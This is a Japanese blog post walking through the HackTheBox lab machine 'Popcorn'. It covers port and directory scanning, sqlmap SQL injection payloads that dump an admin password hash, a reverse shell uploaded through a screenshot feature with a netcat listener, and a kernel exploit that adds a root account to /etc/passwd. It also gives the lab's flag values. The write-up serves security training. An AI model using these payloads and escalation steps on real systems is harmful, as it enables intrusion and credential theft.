1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HTB】 Popcorn - Writeup(Linux/Medium)

1
Posted at

image.png

はじめに

こんにちは!今回はHackTheBoxよりJerryのWriteupを紹介したいと思います!

マシン概要

名前        :Popcorn
レベル       :Medium
コミュニティレベル :Medium
OS         :Linux

ポートスキャン

nmapを使用してポートスキャンを行います!

nmap
sudo nmap -sV -sC -p- -Pn -n -vvv --open 10.129.205.118 -oN ports.txt
# Nmap 7.99 scan initiated Mon Apr 27 13:12:07 2026 as: /usr/lib/nmap/nmap -sV -sC -p- -Pn -n -vvv --open -oN ports.txt 10.129.205.118
Nmap scan report for 10.129.205.118
Host is up, received user-set (0.23s latency).
Scanned at 2026-04-27 13:12:07 JST for 89s
Not shown: 65143 closed tcp ports (reset), 390 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIAn8zzHM1eVS/OaLgV6dgOKaT+kyvjU0pMUqZJ3AgvyOrxHa2m+ydNk8cixF9lP3Z8gLwquTxJDuNJ05xnz9/DzZClqfNfiqrZRACYXsquSAab512kkl+X6CexJYcDVK4qyuXRSEgp4OFY956Aa3CCL7TfZxn+N57WrsBoTEb9PAAAAFQDMosEYukWOzwL00PlxxLC+lBadWQAAAIAhp9/JSROW1jeMX4hCS6Q/M8D1UJYyat9aXoHKg8612mSo/OH8Ht9ULA2vrt06lxoC3O8/1pVD8oztKdJgfQlWW5fLujQajJ+nGVrwGvCRkNjcI0Sfu5zKow+mOG4irtAmAXwPoO5IQJmP0WOgkr+3x8nWazHymoQlCUPBMlDPvgAAAIBmZAfIvcEQmRo8Ef1RaM8vW6FHXFtKFKFWkSJ42XTl3opaSsLaJrgvpimA+wc4bZbrFc4YGsPc+kZbvXN3iPUvQqEldak3yUZRRL3hkF3g3iWjmkpMG/fxNgyJhyDy5tkNRthJWWZoSzxS7sJyPCn6HzYvZ+lKxPNODL+TROLkmQ==
|   2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyBXr3xI9cjrxMH2+DB7lZ6ctfgrek3xenkLLv2vJhQQpQ2ZfBrvkXLsSjQHHwgEbNyNUL+M1OmPFaUPTKiPVP9co0DEzq0RAC+/T4shxnYmxtACC0hqRVQ1HpE4AVjSagfFAmqUvyvSdbGvOeX7WC00SZWPgavL6pVq0qdRm3H22zIVw/Ty9SKxXGmN0qOBq6Lqs2FG8A14fJS9F8GcN9Q7CVGuSIO+UUH53KDOI+vzZqrFbvfz5dwClD19ybduWo95sdUUq/ECtoZ3zuFb6ROI5JJGNWFb6NqfTxAM43+ffZfY28AjB1QntYkezb1Bs04k8FYxb5H7JwhWewoe8xQ==
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.2.12
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

80ポートが空いているのでブラウザーにIPアドレスを入力しました!
image.png
ドメイン名が表示されたので/etc/hostsに入力しましょう!

/etc/hosts
10.129.205.118 popcorn.htb

http://popcorn.htbをアドレス欄に入力するとウェブサイトが表示されました!
image.png
ここからはまずディレクトリの探索からはじめてみます!

ディレクトリ列挙

gobusterを使用します!
使用するコマンドは以下です!Seclistsのcommon.txtを最初に使用するのが好きですが、もし気になるディレクトリが見つからない場合はseclistsのraft-medium-words.txtを使用することもあります!
今回はcommon.txtのみで大丈夫です!

gobuster dir -u http://popcorn.htb -w /opt/seclists/Discovery/Web-Content/common.txt -t 80
gobuster dir -u http://popcorn.htb -w /opt/seclists/Discovery/Web-Content/common.txt -t 80
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://popcorn.htb
[+] Method:                  GET
[+] Threads:                 80
[+] Wordlist:                /opt/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess            (Status: 403) [Size: 288]
.htpasswd            (Status: 403) [Size: 288]
.hta                 (Status: 403) [Size: 283]
cgi-bin/             (Status: 403) [Size: 287]
index                (Status: 200) [Size: 177]
index.html           (Status: 200) [Size: 177]
test                 (Status: 200) [Size: 47365]
torrent              (Status: 301) [Size: 312] [--> http://popcorn.htb/torrent/]
Progress: 4749 / 4750 (99.98%)[ERROR] error on word server-status: timeout occurred during the request
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================

testが気になるのでまずはtestディレクトリにアクセスしてみます!
image.png
ここではPHPに関する情報を見ることができるようです!
バージョン情報から悪用できる脆弱性は特に見つからず!
このサイトでは特に面白いものはなさそうでした!

もう一つ、torrentディレクトリが存在するようなのでそちらを見てみましょう!
image.png
明らかにここから悪用していく必要がありそうですね!
Torrent Hosterについて調べたところ、Torrentファイルをアップロードすることで他者とファイルをシェアできるようにするクラウドストレージサービスのようです!

SQLインジェクション

※SQLインジェクションを試行した過程を長々と書いてますが結果的には攻略に繋がっていません
飛ばしたい方はこちらへ!

ログイン情報を入力する箇所があるので、まず適当な資格情報をいれてみました!
admin:admin
admin:passwd
root:root
torrent:torrent
しかしどれも有効ではなかったです!そこで試しにSQLインジェクションを疑いUsernameとPasswordにシングルクウォートを入力しました!
すると...
image.png
エラーが表示されました!調べたところUsernameにSQLインジェクションの脆弱性が存在するようです!
これを悪用して有益な情報を引き出せるか試してみます!

SQLMAP

今回はSQLMAPというSQLインジェクション用のツールを使用してデータベースの情報をひきだすことにします!
①適当なユーザー名とパスワードを入力しリクエストを送信する
②そのリクエストをBurpsuiteで確認する
③リクエストをコピーして、それをファイル(今回はreq.txt)にいれる
そしてリクエストを格納したファイルを使い以下のコマンドでデータベースを列挙します!

sqlmap -r req.txt --dbs
sqlmap identified the following injection point(s) with a total of 928 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=anu' AND 2387=2387 AND 'Scxy'='Scxy&password=anu

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: username=anu' AND EXTRACTVALUE(5753,CONCAT(0x5c,0x716b786b71,(SELECT (ELT(5753=5753,1))),0x7171767071)) AND 'ujHU'='ujHU&password=anu

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=anu' AND (SELECT 5001 FROM (SELECT(SLEEP(5)))GUZv) AND 'RRUx'='RRUx&password=anu
---
[17:16:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 9.10 (Karmic Koala)
web application technology: PHP 5.2.10, Apache 2.2.12
back-end DBMS: MySQL >= 5.1
[17:16:12] [INFO] fetching database names
[17:16:12] [INFO] retrieved: 'information_schema'
[17:16:13] [INFO] retrieved: 'torrenthoster'
available databases [2]:
[*] information_schema
[*] torrenthoster

[17:16:13] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/popcorn.htb

2つのデータベースを列挙できました!今回はtorrenthosterが気になるのでそちらでテーブルを列挙します!

sqlmap -r req.txt -D torrenthoster --tables
Database: torrenthoster
[8 tables]
+---------------+
| log           |
| ban           |
| categories    |
| comments      |
| namemap       |
| news          |
| subcategories |
| users         |
+---------------+

8個のテーブルを列挙できました!
usersテーブルから資格情報を盗めないかやってみましょう!

Database: torrenthoster
Table: users
[2 entries]
+----+----------------------+---------------------+----------------------------------+----------+-----------+---------------------+
| id | email                | joined              | password                         | userName | privilege | lastconnect         |
+----+----------------------+---------------------+----------------------------------+----------+-----------+---------------------+
| 3  | admin@yourdomain.com | 2007-01-06 21:12:46 | d5bfedcee289e5e05b86daad8ee3e2e2 | Admin    | admin     | 2007-01-06 21:12:46 |

Adminのハッシュ値を発見しました!
しかし、こちらは結果としてはクラックすることができませんでした!
そのためこのパスワードを利用することができず、SQLインジェクションからのアプローチは駄目でした!
次のアプローチで考えてみます!

ファイルアップロード

ホーム画面に戻り、Sign upからアカウントを作成できそうなのでそこからログインしてみます!

image.png

そして作成したアカウントでログインします!

image.png

Uploadという項目が気になるのでアクセスします!

image.png

どうやらここでファイルをアップロードできるようです!
試しに公式サイトから入手したKali Linuxのtorrentファイルをアップロードします!

image.png

アップロードが出来ました!
スクリーンショットを変更できる機能があるので、そこからリバースシェルをアップロードしましょう!

image.png

image.png

アップロード出来ました!
リバースシェルを受けるためのリスナーを起動します!

rlwrap nc -lvnp 80

リスナーを起動できたら、Image FIle Not Found!を押します!
image.png

rlwrap nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.205.118] 48936
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
 12:14:55 up  5:05,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: no job control in this shell
www-data@popcorn:/$

見事、シェルをゲット出来ました!
/home/georgeにてuser.txtを見つけました!

/home/george
www-data@popcorn:/home/george$ cat user.txt
ce408301fc0d24de35a138e1216dc90b

カーネルのバージョンを見てみます!

www-data@popcorn:/$ uname -a
uname -a
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux

2.6.31と古いバージョンのようです!
こちらで脆弱性を調べると以下が使えそうです!

こちらを使って権限昇格をしていきましょう!

www-data@popcorn:/dev/shm$ ./dirty
./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: test

Complete line:
toor:tonpIEgbIHtuE:0:0:pwned:/root:/bin/bash

mmap: b78b4000

この状態でtoorユーザーが作成されました!
リバースシェルをもう一度とり、toorユーザーに変わりましょう!

www-data@popcorn:/dev/shm$ su toor
su toor
Password: test

toor@popcorn:/dev/shm#

管理者ユーザーになりました!/rootに行きましょう!

toor@popcorn:~# cat root.txt
cat root.txt
1b7f1f63b428625dfdc70a964f91d1c4
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?